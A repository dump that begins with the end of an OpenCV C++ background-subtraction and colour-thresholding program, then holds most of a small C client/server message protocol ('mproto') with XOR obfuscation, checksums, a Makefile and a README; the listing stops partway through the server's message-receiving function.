cvPutText (prediction,VY_WALL.c_str(),cvPoint(350,210), &font, cvScalar(144, 139, 232));
}
// time_e = time(NULL);
// int diff = difftime(time_e, time_s);
//// string time_mark = to_string(<#int __val#>);
// cvInitFont(&font,CV_FONT_HERSHEY_SIMPLEX|CV_FONT_ITALIC, 3.0,3.0,0,3);
// cvPutText (prediction,(to_string(10-diff%11)).c_str(),cvPoint(10,70), &font, cvScalar(0, 0, 255));
// cout << diff<<endl;
// if (diff==11) {
//
// this_thread::sleep_for (chrono::seconds(5));
// time_s = time(NULL);
// }
cout <<endl<<"============"<<endl;
cvShowImage("skin", skin);
cvMoveWindow("skin", 1200, 0);
cvShowImage("skin2", skin2);
cvMoveWindow("skin2", 1200, 550);
cvShowImage("frame", frame_copy);
cvMoveWindow("frame", 650, 0);
cvShowImage("prediction", prediction);
cvMoveWindow("prediction", 0, 0);
// cvShowImage("prediction", train_img2);
key = cvWaitKey( 1 );
if (key == 'q') {
// 'q'
break;
}
else if (key == 'u') {
// 'u' update
frame = cvQueryFrame( capture );
cvCopy( frame, background_img );
}
else if (key == 's'){
cvSaveImage("/users/shana/desktop/frame.bmp", frame);
// skinsegmenter.training(frame);
}
// i++;
}
return 0;
}
void backgroundsubtraction(IplImage* frame_img, IplImage* background_img){
IplImage *grayImage = cvCreateImage( cvGetSize(frame_img), IPL_DEPTH_8U, 3 );
IplImage *differenceImage = cvCreateImage( cvGetSize(frame_img), IPL_DEPTH_8U, 3 );
IplImage *differenceImage_gray = cvCreateImage( cvGetSize(frame_img), IPL_DEPTH_8U, 1 );
cvCopy( frame_img, grayImage);
cvSmooth(grayImage, grayImage, CV_GAUSSIAN, 3, 0, 0);
cvAbsDiff( grayImage, background_img, differenceImage );
cvCvtColor(differenceImage, differenceImage_gray, CV_BGR2GRAY);
cvThreshold( differenceImage_gray, differenceImage_gray, BACKGROUND_THRES, 255, CV_THRESH_BINARY );
cvErode(differenceImage_gray,differenceImage_gray,NULL,1);
cvDilate(differenceImage_gray,differenceImage_gray,NULL,1);
// cvMorphologyEx(differenceImage_gray,differenceImage_gray,NULL,kernel_ellipse,CV_MOP_CLOSE,1);
cvSmooth(differenceImage_gray, differenceImage_gray, CV_GAUSSIAN, 5, 0, 0);
Mat frame_mat = frame_img;
Mat mask_mat = differenceImage_gray;
for (int i = 0; i < mask_mat.rows; i++){
uchar * Mi = frame_mat.ptr(i);
for (int j = 0; j < mask_mat.cols; j++){
if (mask_mat.at<uchar>(i, j) == 0) {
frame_mat.at<uchar>(i, 3*j) = 0;
frame_mat.at<uchar>(i, 3*j+1) = 0;
frame_mat.at<uchar>(i, 3*j+2) = 0;
}
}
}
// cvShowImage( "Difference", differenceImage );
// cvShowImage("differenceImage_gray", differenceImage_gray);
}
CvPoint center(IplImage* img){
CvPoint center;
CvPoint zero;
zero.x = 0;
zero.y = 0;
double m00, m10, m01;
CvMoments moment;
cvMoments( img, &moment, 1);
m00 = cvGetSpatialMoment( &moment, 0, 0 );
if( m00 == 0)
return zero;
m10 = cvGetSpatialMoment( &moment, 1, 0 );
m01 = cvGetSpatialMoment( &moment, 0, 1 );
center.x = (int) (m10/m00);
center.y = (int) (m01/m00);
return center;
}
IplImage* getthresholdedimg(IplImage* im){
IplImage * imghsv= cvCreateImage(cvGetSize(im),8,3);
cvCvtColor(im,imghsv,CV_BGR2HSV);
IplImage * imgpink = cvCreateImage(cvGetSize(im),8,1);
// IplImage * imgblue = cvCreateImage(cvGetSize(im),8,1);
IplImage * imggreen = cvCreateImage(cvGetSize(im),8,1);
IplImage *imgthreshold = cvCreateImage(cvGetSize(im),8,1);
cvInRangeS(imghsv,cvScalar(201,247,181),cvScalar(10,94,2),imggreen);
cvInRangeS(imghsv,cvScalar(219,187,250),cvScalar(41,0,247),imgpink);
// cvInRangeS(imghsv,cvScalar(100,100,100),cvScalar(120,255,255),imgblue);
// cvShowImage("green", imggreen);
// cvShowImage("blue", imgblue);
// cvShowImage("yell", imgyellow);
cvAdd(imgpink,imggreen,imgthreshold);
// cvAdd(imgthreshold,imgthreshold);
return imgthreshold;
}
|
f13c1c8533f117888eca56911b6aff274ca7e271
|
[
"Markdown",
"C++"
] | 2 |
Markdown
|
xyt0056/PhyssiBird
|
b59fbdc5acf16060c103eb11d561188af14cb965
|
42049f1d57b846ef642885a2107e68d9589bd651
|
refs/heads/master
|
<file_sep>$(document).ready(function() {
$('div.aboutMeCaption').each(function(index) {
if ($(this).css("-webkit-backdrop-filter") == null) {
$(this).css({"background-color": "rgba(240, 240, 240, 0.95)"});
}
})
})
|
6f47c1ad551efd2526b64d1775fd11fddc0ffcca
|
[
"JavaScript"
] | 1 |
JavaScript
|
janant/janant.github.io
|
d8090066852318b0da897119ebe472508d31fba2
|
90a171b0063bdb804b9708eaa57f721107dc9cc7
|
refs/heads/master
|
<file_sep>const glob = require("glob");
const fs = require("fs");
const args = process.argv;
let mode;
if (args.indexOf("--mode") === -1) {
throw "Must supply the --mode agument [all | rename | patch].";
} else {
mode = args[args.indexOf("--mode") + 1];
}
let folder;
if (args.indexOf("--folder") === -1) {
throw "Must supply root folder path.";
} else {
folder = args[args.indexOf("--folder") + 1];
}
console.log(`Mode: ${mode}`);
console.log(`Folder: ${folder}`);
const doRename = mode !== "patch";
const doPatch = mode !== "rename";
folder += "/**/*.{tsx,ts}";
console.log(`Beginning processing at root folder: ${folder}...`);
const replaceHtmlInImportRegexs = [
new RegExp(
/((import\s.*)|(\sfrom\s.*)|(import\(.*)|(jest.mock\(.*)|(require\(.*))(\.html)/,
"g"
),
new RegExp(/(jest\.requireActual\(\n?.*)(\.html)/, "g")
];
const files = glob.sync(folder);
files.forEach((file) => {
console.log(`Processing file: ${file}...`);
if (doRename) {
if (file.indexOf(".html") !== -1) {
const newPath = file.replace(".html", "");
console.log(`Changing file name: ${file} to ${newPath}`);
fs.renameSync(file, newPath);
file = newPath;
}
}
if (doPatch) {
let data = fs.readFileSync(file, "utf-8");
if (data.indexOf(".html")) {
console.log("Fixing *.html imports");
replaceHtmlInImportRegexs.forEach((i) => {
data = data.replace(i, "$1");
});
fs.writeFileSync(file, data, "utf-8");
}
}
});
process.exitCode = 0;
|
53ec18c58b3379d7b65c726016677bb248e0c27e
|
[
"JavaScript"
] | 1 |
JavaScript
|
harperj1029/html_suffix_remover
|
ecfb21f86fd44bbd7dc2c524e20bd163ee082f79
|
ac386c5a7eeaa1d727b5f0a2f090a932ab803e41
|
refs/heads/master
|
<repo_name>cyw116/RefreshMyMind<file_sep>/addphrasedialog.py
import tkinter
from tkinter import *
class AddPhraseDialog(Toplevel):
def __init__(self, parent):
Toplevel.__init__(self)
#self.geometry("300x200")
# Label
hintLabel = Label(self, text="Enter a new phrase here:")
hintLabel.pack(side=TOP)
# Entry (ie. TextField)
newPhraseEntry = Entry(self, bd=2)
newPhraseEntry.focus()
newPhraseEntry.pack(side=LEFT)
# Enter Button
enterButton = Button(self, text="Add", command=(lambda :self.__appendNewPhrase(newPhraseEntry.get())))
enterButton.pack(side=RIGHT)
def __appendNewPhrase(self, newPhrase):
with open("sampleSource.txt", "a", encoding='utf8') as flashWordSource:
flashWordSource.write(newPhrase + "\n")
self.withdraw()<file_sep>/flashcard.py
from copy import deepcopy
class FlashCard:
def __init__(self, flashWordSet=None):
self.text = ""
self.reloadTextFromSourceFile()
self.setFocusMethod(None)
self.setSetTextMethod(None)
def loadNextText(self):
if self.flashWordWorkingSet:
self.text = self.flashWordWorkingSet.pop()
self.__setTextMethod(self.text)
self.__focusMethod()
if not self.flashWordWorkingSet:
self.flashWordWorkingSet = deepcopy(self.flashWordBackupSet)
def reloadTextFromSourceFile(self):
flashWordSet = set()
with open("sampleSource.txt", 'r', encoding='utf8') as flashWordSource:
for line in flashWordSource:
if line.strip() and not line[0] == '#':
flashWordSet.add(line)
self.flashWordWorkingSet = flashWordSet
self.flashWordBackupSet = deepcopy(flashWordSet)
def setFocusMethod(self, focusMethod):
self.__focusMethod = focusMethod
def setSetTextMethod(self, setTextMethod):
self.__setTextMethod = setTextMethod
focusMethod = property(None, setFocusMethod)
setTextMethod = property(None, setSetTextMethod)<file_sep>/README.md
# RefreshMyMind
A small personal flashcard-like project. It takes input from sampleSource.txt to display periodically.
<file_sep>/main.py
import tkinter
from tkinter import *
from tkinter import font
import time
from threading import Timer
from time import sleep
from PIL import Image, ImageTk
from flashcard import FlashCard
from repeatedtimer import RepeatedTimer
from addphrasedialog import AddPhraseDialog
# Constants --------------------------------- ---------------------------------
SCREEN_MARGIN = 50;
MARGIN_TOP = 20;
MARGIN_LEFT = 20;
WINDOW_WIDTH = 300
WINDOW_HEIGHT = 260
WINDOW_BORDERWIDTH = 5
WIDGET_WIDTH = WINDOW_WIDTH - WINDOW_BORDERWIDTH*3
CANVAS_HEIGHT = 200
BOTTOMMENU_HEIGHT = 45
INITIAL_TEXT = "Welcome"
DEFAULT_TIME_PERIOD = 60 # 1 Minute
root = Tk()
SCREEN_WIDTH = root.winfo_screenwidth()
SCREEN_HEIGHT = root.winfo_screenheight()
WINDOW_X = SCREEN_WIDTH - WINDOW_WIDTH - SCREEN_MARGIN
WINDOW_Y = SCREEN_MARGIN
# Root --------------------------------- ---------------------------------
root.geometry(str(WINDOW_WIDTH) + "x" + str(WINDOW_HEIGHT) + "+" + str(WINDOW_X) + "+" + str(WINDOW_Y))
root.title("Refresh Your Mind")
#root.overrideredirect(True) #Hide title bar
root["relief"] = GROOVE
root["bd"] = WINDOW_BORDERWIDTH
root["background"] = "white"
root["highlightbackground"] = "white"
def startAddPhraseDialog():
dialog = AddPhraseDialog(root)
dialog.transient(root)
root.wait_window(dialog);
def showWindow():
root.wm_attributes("-alpha", 1)
root.wm_attributes("-topmost", 1)
def hideWindow():
root.wm_attributes("-alpha", 0)
root.wm_attributes("-topmost", 0)
# Prepare the flashCard object --------------------------------- ---------------------------------
flashWordSet = set()
flashCard = FlashCard(flashWordSet=flashWordSet)
flashCard.focusMethod = showWindow
# Canvas --------------------------------- ---------------------------------
backgroundImage = Image.open("sample_background_1.png").resize((WIDGET_WIDTH+5, WINDOW_HEIGHT), Image.BILINEAR)
backgroundPhotoImage = ImageTk.PhotoImage(backgroundImage)
flashCardLabelFont = tkinter.font.Font(family='Times New Roman', size=16)
flashCardCanvas = Canvas(root, width=WIDGET_WIDTH, height=CANVAS_HEIGHT)
imageID = flashCardCanvas.create_image(0, 0, image=backgroundPhotoImage, anchor=NW)
rectID = flashCardCanvas.create_rectangle(MARGIN_LEFT, MARGIN_TOP, WIDGET_WIDTH-MARGIN_LEFT, CANVAS_HEIGHT-MARGIN_TOP, outline="white", fill="white", stipple="gray50")
textID = flashCardCanvas.create_text(MARGIN_LEFT, MARGIN_TOP, text=INITIAL_TEXT, font=flashCardLabelFont, anchor=NW, width=WIDGET_WIDTH-MARGIN_LEFT*3)
flashCardCanvas.grid(row=0, column=0)
flashCard.setTextMethod = (lambda x:flashCardCanvas.itemconfigure(textID, text=x))
# Bottom Menu Bar --------------------------------- ---------------------------------
bottomMenu = Frame(root, bg="white", relief=SUNKEN, width=WIDGET_WIDTH, height=BOTTOMMENU_HEIGHT)
bottomMenu.grid_propagate(0)
bottomMenu.grid(row=1, column=0)
# Bottom Menu Bar buttons
addButton = Button(bottomMenu, bg="#CCCCFF", text="ADD", relief=GROOVE, command=startAddPhraseDialog)
addButton.grid(row=0, column=0, ipadx=10, ipady=10)
nextButton = Button(bottomMenu, bg="#FFCCCC", text="NEXT", relief=GROOVE, command=flashCard.loadNextText)
nextButton.grid(row=0, column=1, ipadx=10, ipady=10)
readButton = Button(bottomMenu, bg="#CCFFCC", text="GET IT!", relief=GROOVE, command=hideWindow)
readButton.grid(row=0, column=2, ipadx=10, ipady=10)
# Timer for refreshing text
repeatedTimer = RepeatedTimer(DEFAULT_TIME_PERIOD, flashCard.loadNextText)
flashCard.loadNextText()
root.wm_attributes("-topmost", 1)
root.mainloop()
repeatedTimer.stop()
|
50a46193227bf5485f16e505770036634c9e1268
|
[
"Markdown",
"Python"
] | 4 |
Python
|
cyw116/RefreshMyMind
|
c72622312808889f6d2b4cf91cea89074e5a699a
|
bdb9414a4e84b15cfa1a76023a336d04cd28534c
|
refs/heads/master
|
<repo_name>JuMoKan/BoardGameGeek<file_sep>/readme.txt
boardgamegeek.com API
# Dependencies
- bs4
- boardgamegeek2<file_sep>/API_Test.py
###Anzahl und Liste der gespielten Liste
from boardgamegeek import BGGClient
bgg = BGGClient()
plays = bgg.plays(name="schrobe")
print("Anzahl gespielter Spiele: %d" % (len(plays)))
l_games_played = []
for session in plays._plays:
l_games_played.append(session.game_name)
###Top 100 Liste, webscraped
from urllib2 import urlopen
from bs4 import BeautifulSoup
quote_page = 'https://www.boardgamegeek.com/browse/boardgame'
page = urlopen(quote_page)
soup = BeautifulSoup(page, 'html.parser')
#print(soup)
games_top_100 = []
for i in range(1,100):
games_top_100.append(soup.find('div', attrs={'id': 'results_objectname'+str(i)}).get_text())
print(games_top_100)
|
17dc836cd670173d338f696ef5c2f4082a3623e5
|
[
"Python",
"Text"
] | 2 |
Text
|
JuMoKan/BoardGameGeek
|
8fe145a4eaf74ad645f9774d29cc001d212525a7
|
1f1d57e1d9deb7884ce12fcf5c85e936efeec880
|
refs/heads/master
|
<repo_name>hahiserw/mproto<file_sep>/src/message.c
#include <string.h>
#include "main.h"
#include "message.h"
void debug_message(struct message *m)
{
LOG(DEBUG, "index = %10u", m->index);
LOG(DEBUG, "size = %10u", m->size);
unsigned int c = m->checksum;
LOG(DEBUG, "checksum = %10u (%3u %3u %3u %3u)", c, c >> 24, c >> 16 & 0xff, c >> 8 & 0xff, c & 0xff);
LOG(DEBUG, "text = '%s' (%i)", m->text, strlen(m->text));
}
void pack_data(struct message *message, const char *text, int text_size, int index, int part_size)
{
message->size = text_size;
message->index = index;
memcpy(message->text, text, text_size);
// Make sure there is no garbage left
// FIXME Get part_size from init_client
if (text_size < part_size)
memset((message->text + text_size), 0, part_size - text_size);
message->checksum = compute_checksum(text);
convert(message->text);
}
void remove_bad_chars()
{
}
// Modified Fletcher's checksum
unsigned int compute_checksum(const char *text)
{
unsigned int s1 = 0;
unsigned int s2 = 0;
for (char *c = (char *)text; *c; ++c) {
s1 = (s1 + *c) & 0xffff; // % 65535;
s2 = (s2 + s1) & 0xffff; // % 65535;
}
//LOG(DEBUG, "'%s', %u, %u", text, s1, s2);
return (s2 << 16) | s1;
}
//{
// unsigned int csum = 0;
// char *c = (char *)text;
//
// while (*c) {
// //csum ^= *c << ((3 - ((c - text) % 4)) * 8);
// csum ^= *c << ((3 - ((c - text) & 3)) * 8);
// ++c;
// }
//
// return csum;
//}
// No hacker can crack this!
void convert(char *m)
{
while (*m)
*m++ ^= 0xff;
}
// Set retransmission bits to be later cleared if part came
//void ret_init(char *bits, unsigned int parts)
//{
// unsigned int i = 0;
// for (; i < (parts >> 3); ++i)
// bits[i] = 0xff;
//
// bits[i] = (1 << ((parts & 7) + 1)) - 1;
//}
//
//void ret_clear(char *bits, unsigned int index)
//{
// bits[index >> 3] &= ~(1 << (index & 7));
//}
//
//void ret_set(char *bits, unsigned int index)
//{
// bits[index >> 3] |= 1 << (index & 7);
//}
<file_sep>/src/config.h
#ifndef _CONFIG_H
#define _CONFIG_H
/*
* Plik konfiguracyjny dla mproto
*/
// Port na którym działa protokół
#define M_PORT 21212
// Znak zachęty dla klienta w trybie interaktywnym
#define CLIENT_PROMPT "> "
// Maksymalna długość wiadomości
#define MAX_MESSAGE_SIZE 4096
// Zakres wielkości fragmentu wiadomości akceptowanego przez serwer
#define MIN_PART_SIZE 6
#define MAX_PART_SIZE 666
// Wyłącz kolorowanie komunikatów
//#define NOCOLORS
#endif
<file_sep>/src/client.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include "client.h"
#include "main.h"
#include "connection.h"
#include "message.h"
extern int simulate_sending;
// FIXME Make sure server is not down while sending
/* what do?
- get message from user
- remove ugly characters / tell him to retype the message
- chop it and for each part
- compute checksum
- pack it up
- establish connection
- tell what size the message part is, and how many parts
- wait for server's response
- send parts
- retransmit if missing
*/
// negotiate options
unsigned int prepare_connection(unsigned int message_length, unsigned int part_size)
{
size_t read_length;
size_t write_length;
struct info question;
question.part_size = part_size; // GLOBAL
question.message_length = message_length;
question.parts = ceil(message_length, part_size);
size_t info_size = sizeof(struct info);
if (simulate_sending)
write_length = info_size;
else
write_length = write(connection, &question, info_size);
if (write_length != info_size)
die("writing question");
struct info answer;
if (simulate_sending)
read_length = info_size;
else
read_length = read(connection, &answer, info_size);
if (read_length != info_size)
die("reading answer");
if (!simulate_sending) {
if (answer.part_size == question.part_size
&& answer.message_length == question.message_length
&& answer.parts == question.parts) {
LOG(DEBUG, "Server has accepted part size %u (%u)", part_size, answer.part_size);
} else {
LOG(INFO, "Server didn't accept part size (%u)", answer.part_size);
return 0; // RETURN
}
}
return answer.part_size;
}
void create_client(unsigned int part_size, char *message)
{
int write_length;
size_t text_length;
char text[MAX_MESSAGE_SIZE];
if (message) {
text_length = strlen(message);
if (!simulate_sending) {
create_connection();
LOG(DEBUG, "Connection created");
}
strncpy(text, message, MAX_MESSAGE_SIZE);
part_size = prepare_connection(text_length, part_size);
if (part_size == 0)
die("preparing connection");
LOG(DEBUG, "{ Message from command line to send: '%s' (%u)", text, text_length);
write_length = send_message(/*connection, */text, text_length, part_size);
LOG(DEBUG, "} Message written; packet size: %i", write_length);
if (!simulate_sending)
close_connection();
LOG(INFO, "Nothing more to do. Exiting.");
} else {
LOG(INFO, "Type message and press enter");
for (;;) {
printf(CLIENT_PROMPT);
text_length = read_line(text, MAX_MESSAGE_SIZE);
if (!simulate_sending) {
create_connection();
LOG(DEBUG, "Connection created");
}
part_size = prepare_connection(text_length, part_size);
if (part_size == 0)
die("preparing connection");
LOG(DEBUG, "Message to send: '%s' (%u)", text, text_length);
write_length = send_message(/*connection, */text, text_length, part_size);
//sleep(1); // Prevent client from spamming
if (!simulate_sending)
close_connection();
}
LOG(INFO, "Server closed connection?");
}
}
int send_message(/*int connection, */const char *text, size_t text_length, int part_size)
{
unsigned int sum = 0;
int parts = ceil(text_length, part_size);
LOG(MESSAGE, text);
// XXX
//size_t retransmit_size = ceil(MAX_MESSAGE_SIZE, part_size) >> 3;
//char *retransmit = malloc(retransmit_size);
int sent;
for (int index = 0; index < parts; ++index) {
sent = send_part(text, part_size, index);
//if (index == 2) { // Psikus
// //close(client);
// close(connection);
//}
if (sent > 0) {
sum += sent;
//ret_clear(retransmit, index);
//retransmit[index >> 3] &= ~(1 << (index & 7));
} else if (sent == 0) {
LOG(DEBUG, "sent 0 bytes?");
} else {
// Damn!
errno = -sent;
LOG(DEBUG, "sent < 0 (%i)", errno);
perror("didn't write");
break;
}
}
//int read_length = read(connection, retransmit, retransmit_size);
//do {
// send_stuff();
//} while (parts_left);
//free(retransmit);
return sum;
}
int send_part(const char *text, unsigned int part_size, unsigned int index)
{
int write_length;
char text_part[part_size];
int data_size = sizeof(struct message) - 1 + part_size;
struct message *data = malloc(data_size);
strncpy(text_part, &text[index * part_size], part_size); // Get part from user's input
size_t part_length = strlen(text_part);
pack_data(data, text_part, part_length, index, part_size); // strlen...
LOG(DEBUG, "Sending part (%3u): '%s' (%u) #%u", index+1, text_part, part_length, data->checksum);
if (simulate_sending) {
write_length = data_size;
} else {
write_length = write(connection, data, data_size);
if (write_length < 0)
write_length = -errno;
}
free(data);
return write_length;
}
int read_line(char *buffer, int buffer_size)
{
int i = 0;
// :D
// TODO return also on ^D
while ((i[buffer] = getchar()) != '\n' && i < buffer_size)
++i;
buffer[i] = 0;
return i;
}
<file_sep>/src/client.h
#ifndef _CLIENT_H
#define _CLIENT_H
int read_line(char *, int);
int send_message(/*int, */const char *, size_t, int);
unsigned int prepare_connection(unsigned int, unsigned int);
void create_client(unsigned int, char *);
int send_part(const char *, unsigned int, unsigned int);
#endif
<file_sep>/src/main.c
#include "config.h"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdarg.h>
#include <time.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include "main.h"
#include "connection.h"
#include "server.h"
#include "client.h"
int server = 0;
/*static*/ enum log_level verbosity = MESSAGE;
char *destination = 0;
int simulate_sending = 0;
int user_part_size = 10;
char *message = 0;
int main(int argc, char *argv[])
{
parse_args(argc, argv);
LOG(DEBUG, "Arguments parsed");
signal(SIGINT, handle_signal);
signal(SIGTERM, handle_signal);
LOG(DEBUG, "Signals attached");
if (server) {
LOG(INFO, "Entering server mode");
create_server();
} else {
LOG(INFO, "Entering client mode");
create_client(user_part_size, message);
}
//LOG(INFO, "The end?");
return EXIT_SUCCESS;
}
void handle_signal(int signal)
{
switch (signal) {
case SIGINT:
case SIGTERM:
close_connection();
LOG(INFO, "* Program terminated");
exit(EXIT_FAILURE);
}
}
void usage()
{
fprintf(stderr, "server usage: mproto [-v]\n");
fprintf(stderr, "client usage: mproto [-v] [-s] [-p size] [-m message] address\n");
fprintf(stderr, "\n");
fprintf(stderr, "mproto is a simple message protocol with an advanced message encryption (xor).\n");
fprintf(stderr, "\n");
fprintf(stderr, "A connection will be attempted if an address is specified,\n");
fprintf(stderr, "otherwise mproto will run as a server.\n");
fprintf(stderr, "\n");
fprintf(stderr, " -h Display this helpful text\n");
fprintf(stderr, " -v Increment verbosity level (more -v, more verbose)\n");
fprintf(stderr, " -p Part size. Choose between %u and %u\n", MIN_PART_SIZE, MAX_PART_SIZE);
fprintf(stderr, " -m Send given message\n");
fprintf(stderr, " -s Simulate sending\n");
}
void parse_args(int argc, char *argv[])
{
int option;
while ((option = getopt(argc, argv, "vhm:p:s")) != -1) {
switch (option) {
case 'v':
++verbosity;
break;
case 's':
simulate_sending = 1;
break;
case 'm':
message = optarg;
if (strlen(message) > MAX_MESSAGE_SIZE) {
fprintf(stderr, "Message size should be smaller than %i\n", MAX_MESSAGE_SIZE);
usage();
exit(EXIT_FAILURE);
}
break;
case 'p':
user_part_size = atoi(optarg);
if (MIN_PART_SIZE <= user_part_size && user_part_size <= MAX_PART_SIZE)
break;
fprintf(stderr, "Part size should be in range %i..%i\n", MIN_PART_SIZE, MAX_PART_SIZE);
case 'h':
default:
usage();
exit(EXIT_FAILURE);
}
}
if (optind < argc) {
destination = argv[optind];
LOG(DEBUG, "Specified server's IP to connect to: %s", destination);
} else {
server = 1;
}
}
void log_message(enum log_level level, const char *message, ...)
{
//if (level > verbosity)
// return;
FILE *logfd = stderr;
time_t now = time(NULL);
if (now < 0) {
fprintf(logfd, "Cannot get current time\n");
exit(EXIT_FAILURE);
}
struct tm *local_now = localtime(&now);
if (!local_now) {
fprintf(logfd, "Cannot convert current time\n");
exit(EXIT_FAILURE);
}
char timestamp[16];
if (strftime(timestamp, sizeof(timestamp), "%d %b %T", local_now) == 0)
sprintf(timestamp, "timestamp error");
char *level_string = 0;
#ifndef NOCOLORS
char *color_string = 0;
switch (level) {
case ERROR: level_string = "error"; color_string = "31"; break;
case MESSAGE: level_string = "MSG"; color_string = "33"; break;
case INFO: level_string = "info"; color_string = "34"; break;
case DEBUG: level_string = "DEBUG"; color_string = "35"; break;
}
fprintf(logfd, "[%15s %5s] \033[%sm", timestamp, level_string, color_string);
#else
switch (level) {
case ERROR: level_string = "error"; break;
case MESSAGE: level_string = "MSG"; break;
case INFO: level_string = "info"; break;
case DEBUG: level_string = "DEBUG"; break;
}
fprintf(logfd, "[%15s %5s] ", timestamp, level_string);
#endif
va_list formats;
va_start(formats, message);
vfprintf(logfd, message, formats);
va_end(formats);
#ifndef NOCOLORS
fprintf(logfd, "\033[m\n");
#else
fprintf(logfd, "\n");
#endif
//fclose(logfd);
}
void die(const char *message)
{
int last_errno = errno;
LOG(ERROR, "* Error: %s (errno: %i)", message, errno);
errno = last_errno;
perror(0);
//if (connection)
// close_connection();
exit(EXIT_FAILURE);
}
<file_sep>/README.md
mproto
======
Praca na zaliczenie
Protokół komunikacyjny w konfiguracji klient/serwer
Funkcje
=======
- Szyfrowanie
- Weryfikowanie sumy kontrolnej
- Dzielenie wiadomości na części o podanej wielkości
Opis i uruchomienie
============
Serwer: `mproto [-v]`
Klient: `mproto [-v] [-s] [-p size] [-m message] address`
Flaga `-v` sprawia, że wypisywane komunikaty będą bardziej szczegółowe. Tym bardziej szczegółowe im więcej razy zostanie podana flaga.
Serwer domyślnie nasłuchuje na adresie 0.0.0.0 na porcie 21212 (można zmienić to w config.h). Jego zadaniem jest odbieranie i wyświetlanie wiadomości.
Klient może wysłać wiadomości na dwa sposoby. Przez parametr `-m` lub interaktywnie: przesyłając każdy wpisany ciąg do naciśnięcia klawisza enter.
Flaga `-p` określa rozmiar pojedynczego fragmentu wysyłanego do serwera. Serwer musi zaakceptować podany rozmiar (domyślnie 10 znaków).
Wysyłanie wiadomości można zasymulować w celu sprawdzenia poprawności dziania klienta. Służy do tego flaga `-s`.
Szybki test
===========
By skompilować program uruchom:
$ make
Następnie w jednej konsoli wpisz (znajdując się w katalogu z mproto):
$ ./mproto
W drugiej konsoli lub w konsoli innego komputera wpisz:
$ ./mproto -m 'Hej, mproto!' 127.0.0.1
W przypadku innego komputera zamień 127.0.0.1 na adres komputera na którym uruchomiono serwer.
<file_sep>/src/connection.h
#ifndef _CONNECTION_H
#define _CONNECTION_H
extern int connection;
void create_connection();
void close_connection();
#endif
<file_sep>/Makefile
PROG=mproto
CC=gcc
CFLAGS=-Wall -Wextra -std=gnu99 -pedantic -O2
SRC=$(wildcard src/*.c)
OBJ=$(patsubst src%, obj%, $(SRC:.c=.o))
OBJ32=$(patsubst src%, obj32%, $(SRC:.c=.o))
all: $(PROG) #$(PROG)32
$(PROG): $(OBJ)
$(CC) $(CFLAGS) $^ -o $@
$(PROG)32: $(OBJ32)
$(CC) $(CFLAGS) -m32 $^ -o $@
32: $(PROG)32
obj/%.o: src/%.c src/%.h
$(CC) $(CFLAGS) -c $< -o $@
obj32/%.o: src/%.c src/%.h
$(CC) $(CFLAGS) -m32 -c $< -o $@
clean:
rm -rf $(OBJ) $(OBJ32)
rm -f $(PROG)
<file_sep>/src/main.h
#ifndef _MAIN_H
#define _MAIN_H
#include "config.h"
#define ceil(a, b) (a / b + (a % b? 1: 0))
#define LOG(level, ...) \
for (;;) { if (level <= verbosity) log_message(level, ##__VA_ARGS__); break; }
enum log_level {
ERROR,
MESSAGE,
INFO,
DEBUG
};
extern enum log_level verbosity;
extern char *message;
extern int part_size;
void usage();
void parse_args(int, char *[]);
void log_message(enum log_level, const char *, ...);
void die(const char *);
void handle_signal(int);
#endif
<file_sep>/src/server.h
#ifndef _SERVER_H
#define _SERVER_H
#include "message.h"
int negotiate_params(int, struct info *);
void create_server();
unsigned int get_message(int, char *, struct info *);
int get_part(int, char *, int *, int);
#endif
<file_sep>/src/message.h
#ifndef _MESSAGE_H
#define _MESSAGE_H
struct info {
unsigned int part_size;
unsigned int message_length;
unsigned int parts;
};
// http://stackoverflow.com/questions/4426016/sending-a-struct-with-char-pointer-inside
struct message {
unsigned int index;
unsigned int size;
unsigned int checksum;
char text[1]; // IT MUST BE THE LAST FIELD
};
void pack_data(struct message *, const char *, int, int, int);
void remove_bad_chars();
unsigned int compute_checksum(const char *message);
void convert(char *);
void debug_message(struct message *);
//void ret_init(char *, unsigned int);
//void ret_clear(char *, unsigned int);
//void ret_cet(char *, unsigned int);
#endif
<file_sep>/src/server.c
#include <unistd.h>
#include <arpa/inet.h>
#include <errno.h>
#include <string.h>
#include "server.h"
#include "main.h"
#include "connection.h"
#include "message.h"
#include <stdio.h> // stderr
#include <stdlib.h>
/* what do
- wait for client
- check if client's message size is sane
- confirm if it is, otherwise tell him to get lost
- start reading messages checking checksum (ack'ing every single one?)
- if message is sent more than once ignore it
- if same messages is sent more than 10 times, tell client to get his shit together and kick him
- if there aren't all parts -------------------^ (or wait for retransmission) // is it a flaw?
- put them all together and display
*/
int negotiate_params(int client, struct info *answer)
{
size_t info_size = sizeof(struct info);
struct info question;
size_t read_length = read(client, &question, info_size);
if (read_length != info_size)
die("reading question");
if (MIN_PART_SIZE > question.part_size)
answer->part_size = MIN_PART_SIZE;
else if (answer->part_size > MAX_PART_SIZE)
answer->part_size = MAX_PART_SIZE;
else
answer->part_size = question.part_size;
answer->message_length = question.message_length;
answer->parts = ceil(answer->message_length, answer->part_size);
LOG(DEBUG, "Client wanted %i, received %i", question.part_size, answer->part_size);
if (question.part_size != answer->part_size)
return -1;
int write_length = write(client, answer, info_size);
LOG(DEBUG, "Written answer length: %i", write_length);
return 0;
}
void create_server()
{
create_connection();
LOG(DEBUG, "Connection created");
struct sockaddr_in client_addr;
socklen_t client_addr_length = sizeof(client_addr);
for (;;) {
int client = accept(connection, (struct sockaddr *)&client_addr, &client_addr_length);
if (client < 0)
continue;
LOG(INFO, "* Client connected");
struct info info;
if (negotiate_params(client, &info) < 0) {
LOG(INFO, "Killing client. Reason: wanted %u as a part size", info.part_size);
close(client);
continue;
}
if (info.message_length >= MAX_MESSAGE_SIZE) {
LOG(INFO, "Client sent to large message (%i)", info.message_length);
die("receiving message");
}
char text[MAX_MESSAGE_SIZE];
unsigned int sent = 0;
sent = get_message(client, text, &info);
LOG(DEBUG, "get message status: %u", sent);
//if (sent < 0) {}
text[info.message_length] = 0;
LOG(MESSAGE, text);
LOG(INFO, "* Client disconnected");
close(client);
sleep(1); // To not get spammed?
}
}
unsigned int get_message(int client, char *text, struct info *info)
{
unsigned int sum = 0;
unsigned int parts = info->parts;
unsigned int part_size = info->part_size;
// XXX
//size_t retransmit_size = ceil(MAX_MESSAGE_SIZE, part_size) >> 3;
//char *retransmit = (char *)malloc(retransmit_size);
//ret_init(retransmit, part_size);
